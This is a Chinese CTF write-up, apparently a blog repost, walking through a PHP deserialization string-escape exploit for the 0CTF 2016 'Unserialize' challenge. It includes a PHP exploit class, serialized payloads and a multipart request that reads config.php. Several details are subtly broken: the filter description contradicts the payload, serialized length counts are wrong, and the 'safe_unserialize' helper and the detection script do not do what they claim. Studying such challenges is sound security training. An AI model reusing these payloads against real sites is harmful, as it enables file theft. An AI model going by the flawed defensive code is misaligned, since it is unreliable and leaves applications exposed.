从一道CTF题看PHP反序列化漏洞:如何利用数组逃逸读取config.php文件
从一道CTF题看PHP反序列化漏洞:如何利用数组逃逸读取config.php文件
在网络安全竞赛中,PHP反序列化漏洞一直是高频考点。本文将以0CTF 2016 Unserialize题目为例,深入剖析如何利用数组逃逸技术突破安全限制,最终实现敏感文件读取。不同于简单的解题步骤复现,我们将从源码审计、漏洞链构建到Payload设计,完整呈现一个专业安全研究者的思考路径。
1. 环境搭建与初步审计
首先需要搭建本地测试环境,建议使用Docker快速部署PHP 5.6环境。题目提供的源码包含以下几个关键文件:
/var/www/html/
├── class.php # 用户操作类定义
├── config.php # 包含flag的配置文件
├── profile.php # 用户资料展示
└── update.php # 资料更新接口
使用以下命令进行初步代码审计:
grep -r "unserialize" . # 查找反序列化点
grep -r "file_get_contents" . # 查找文件读取点
审计发现profile.php中存在危险组合:
$profile = unserialize($profile);
$photo = base64_encode(file_get_contents($profile['photo']));
这个代码片段构成了漏洞利用的基础链:通过控制反序列化数据,可以间接操纵文件读取路径。
2. 反序列化漏洞原理剖析
PHP反序列化漏洞的核心在于对象注入。当unserialize()处理用户可控数据时,可能触发以下风险:
- 对象属性注入 :修改反序列化对象的属性值
- 魔术方法执行 :触发__wakeup()、__destruct()等魔术方法
- 类型混淆攻击 :利用PHP弱类型特性进行类型转换
在本案例中,攻击面主要来自:
- profile.php中的unserialize()直接处理用户资料
- 反序列化后的数组用于file_get_contents()路径控制
关键限制条件:
- update.php对nickname字段有长度和字符限制
- class.php中的SQL过滤会替换单引号
3. 数组逃逸技术详解
数组逃逸(String Escape via Array)是一种特殊的反序列化利用技术,其核心是通过精心构造的序列化字符串,改变原本的序列化结构。具体到本题:
3.1 原始序列化结构分析
正常用户资料的序列化格式如下:
a:4:{
s:5:"phone";s:11:"13800138000";
s:5:"email";s:10:"test@qq.com";
s:8:"nickname";s:8:"testuser";
s:5:"photo";s:10:"upload/xxx";
}
3.2 逃逸原理实现
利用nickname字段的长度限制和过滤规则,我们可以:
- 构造超长nickname触发字符替换
- 通过替换改变序列化字符串长度计算
- 使后续内容被解析为新字段
关键突破点:
- class.php中的过滤会将单引号替换为双引号
- 每次替换都会导致序列化字符串长度计算错误
3.3 Payload构造过程
分步构造恶意序列化数据:
- 创建包含超长nickname的对象:
class Exploit {
public $phone = "12345678901";
public $email = "test@qq.com";
public $nickname = "where".str_repeat("where",40);
public $photo = "config.php";
}
- 序列化后观察结构变化:
O:7:"Exploit":4:{
s:5:"phone";s:11:"12345678901";
s:5:"email";s:10:"test@qq.com";
s:8:"nickname";s:170:"wherewherewhere...";
s:5:"photo";s:10:"config.php";
}
- 利用替换规则制造结构错位:
// 原始过滤逻辑
$nickname = str_replace("'", "\"", $_POST['nickname']);
4. 完整漏洞利用链
将上述技术组合形成完整攻击流程:
- 注册用户 :通过register.php创建测试账号
- 构造Payload :使用数组形式的nickname绕过长度限制
- 更新资料 :向update.php提交恶意序列化数据
- 触发读取 :访问profile.php触发文件读取
- 获取Flag :从base64编码的图片数据中解码config.php
关键请求示例:
POST /update.php HTTP/1.1
Content-Type: multipart/form-data
------WebKitFormBoundary
Content-Disposition: form-data; name="nickname[]"
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere
------WebKitFormBoundary--
5. 防御方案与最佳实践
针对此类漏洞,建议采取多层次防御:
-
输入验证 :
- 严格校验反序列化数据来源
- 使用白名单控制允许的类
-
安全配置 :
// 限制反序列化类
ini_set('unserialize_callback_func', 'spl_autoload_call');
-
替代方案 :
- 使用JSON进行数据传输
- 实现签名验证机制
-
代码审计重点 :
- 检查所有unserialize()调用
- 跟踪魔术方法的执行流
- 验证文件操作函数的参数
在实际开发中,可以考虑使用以下安全函数替代直接反序列化:
function safe_unserialize($data) {
if (preg_match('/^[a-zA-Z0-9\/+]*={0,2}$/', $data)) {
return unserialize(base64_decode($data));
}
return false;
}
6. 漏洞利用的进阶思考
通过这个案例,我们可以延伸出几个重要的安全研究角度:
-
不同PHP版本的影响 :
- PHP 5.x与7.x对反序列化的处理差异
- 特殊字符在不同环境下的表现
-
组合利用技巧 :
- 反序列化+文件包含
- 反序列化+SSRF
- 反序列化+phar协议
-
自动化检测方案 :
# 简易反序列化漏洞检测脚本
def check_unserialize(url):
test_payload = 'O:1:"A":1:{s:1:"a";s:10:"config.php";}'
response = requests.post(url, data={'data': test_payload})
return 'file_get_contents' in response.text
在真实环境测试时,建议使用如下的Docker测试环境配置:
FROM php:5.6-apache
COPY src/ /var/www/html/
RUN chmod -R 755 /var/www/html
EXPOSE 80
这个案例展示了即使是简单的反序列化操作,在缺乏适当防护的情况下也可能导致严重的安全问题。我在实际渗透测试中发现,很多开发者在实现用户偏好存储等功能时,仍然会不自觉地使用序列化这种"方便"但危险的方式。
更多推荐


所有评论(0)